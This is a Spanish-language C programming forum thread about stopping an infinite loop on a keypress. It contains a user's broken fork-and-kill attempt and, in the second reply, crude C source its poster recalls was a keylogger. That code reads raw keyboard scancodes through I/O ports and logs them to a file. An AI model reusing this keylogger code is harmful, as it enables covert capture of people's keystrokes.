elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  Bucle infinito interumpible
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Bucle infinito interumpible  (Leído 2,986 veces)
soyloqbuskas

Desconectado Desconectado

Mensajes: 219


¡El conocimiento es de todos!


Ver Perfil
Bucle infinito interumpible
« en: 22 Agosto 2012, 22:22 pm »

¡Buenas a todos!

Estoy haciendo una funcion que tiene un bucle que se debe poder para cuando pulse 'q', pero....que no se pare si no he pulsado la letra....Y es que si lo hago con un getchar(); el bucle se para a cada iteracion asi que no me vale....

¿Alguna idea?

Gracias, un saludo.


En línea

"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw
0xDani


Desconectado Desconectado

Mensajes: 1.077



Ver Perfil
Re: Bucle infinito interumpible
« Respuesta #1 en: 23 Agosto 2012, 00:08 am »

Investiga sobre hacer polling al teclado.

Saludos.


En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
soyloqbuskas

Desconectado Desconectado

Mensajes: 219


¡El conocimiento es de todos!


Ver Perfil
Re: Bucle infinito interumpible
« Respuesta #2 en: 23 Agosto 2012, 00:52 am »

Estoy probando ha hacerlo con procesos....un proceso ejecuta el bucle infinito y el otro un getchar que al leer el caracter correcto mata al otro proceso....

Pero no me termina de funcionar.....¿me podeis hecar un cable?

Código
  1. #include <stdio.h>
  2. #include <unistd.h>
  3. #include <stdlib.h>
  4. int main(){
  5.        char c='a';
  6.        int pid;
  7.        if ((pid=fork())>0){
  8.                while(1) printf("Presione q para cerrar\n");
  9.        }
  10.        else{
  11.                c=getchar();
  12.                if (c=='q') system("kill 9 pid");
  13.        }
  14.        return 0;
  15. }
  16.  
  17.  
En línea

"Si tienes 1 manzana y yo tengo otra manzana...
y las intercambiamos, ambos seguiremos teniendo 1 manzana.
Pero...si tu tienes 1 idea y yo tengo otra idea...
y las intercambiamos, ambos tendremos 2 ideas."


George Bernard Shaw
0xDani


Desconectado Desconectado

Mensajes: 1.077



Ver Perfil
Re: Bucle infinito interumpible
« Respuesta #3 en: 23 Agosto 2012, 01:06 am »

No, ahi no creo que sea aconsejable usar procesos. En serio, la solucion es hacer polling al teclado.
Si trabajas en un sistema tipo Unix(lo que deduzco del hecho de que uses unistd.h), puede que te sirva esto, que creo recordar que era un keylogger.
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <sys/io.h>
  5. #define KB_IO 0X60
  6. #define KB_ST 0x64
  7. #define SLEEP 50
  8.  
  9.        char key(int code){
  10.     char caracter=code;  
  11.     return caracter;}
  12.  
  13.        int main(int argc, char **argv) {
  14.                int code = 0;
  15.                int last = 0;
  16.                FILE *file;
  17.                if (!argv[1]) {
  18.                        fprintf(stderr, "%s <file>\n", argv[0]);
  19.                        exit(1);
  20.                }
  21.                if (!(file = fopen(argv[1], "w"))) {
  22.                        fprintf(stderr, "Impossibile scrivere sul file %s\n", argv[1]);//Esto no sale si le pasa un argumento.
  23.                        exit(2);
  24.                }
  25.                if (ioperm(KB_IO, 1, 1) == -1 || ioperm(KB_ST, 1, 1) == -1) {
  26.                        fprintf(stderr, "Impossibile accedere alla porta di I/O della tastiera\n");//A mi me sale este error.
  27.                        exit(3);                }
  28.                while (1) {
  29.                        code = 0;
  30.                        if (inb(KB_ST) == 20)
  31.                                code = inb(KB_IO);
  32.                        if (code) {
  33.                                if (code != last) {
  34.                                        last = code;
  35.                                        if (key(code)) {
  36.                                                fprintf(file, "%c", key(code));
  37.                                                fflush(file);
  38.                                        }
  39.                                }
  40.                        }
  41.                        usleep(SLEEP);
  42.                }
  43.                return 0;}
  44.  

Saludos.
En línea

I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
probando un bucle infinito... « 1 2 3 »
Bugs y Exploits
mousehack 22 16,355 Último mensaje 28 Agosto 2015, 21:46 pm
por MCKSys Argentina
El que se ha metido en un bucle infinito soy yo...
Programación C/C++
Superplay 0 3,990 Último mensaje 1 Diciembre 2010, 21:14 pm
por Superplay
Implementacion de bucle infinito
Programación C/C++
mark182 3 4,786 Último mensaje 12 Marzo 2011, 11:33 am
por Akai
Bucle infinito y hilos en C
Programación C/C++
soyloqbuskas 3 4,718 Último mensaje 25 Octubre 2012, 15:46 pm
por 0xDani
error, bucle infinito, alguien que me ayude a evitar el bucle infinito
Programación C/C++
marcos0204 4 2,865 Último mensaje 27 Marzo 2020, 22:44 pm
por fary
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines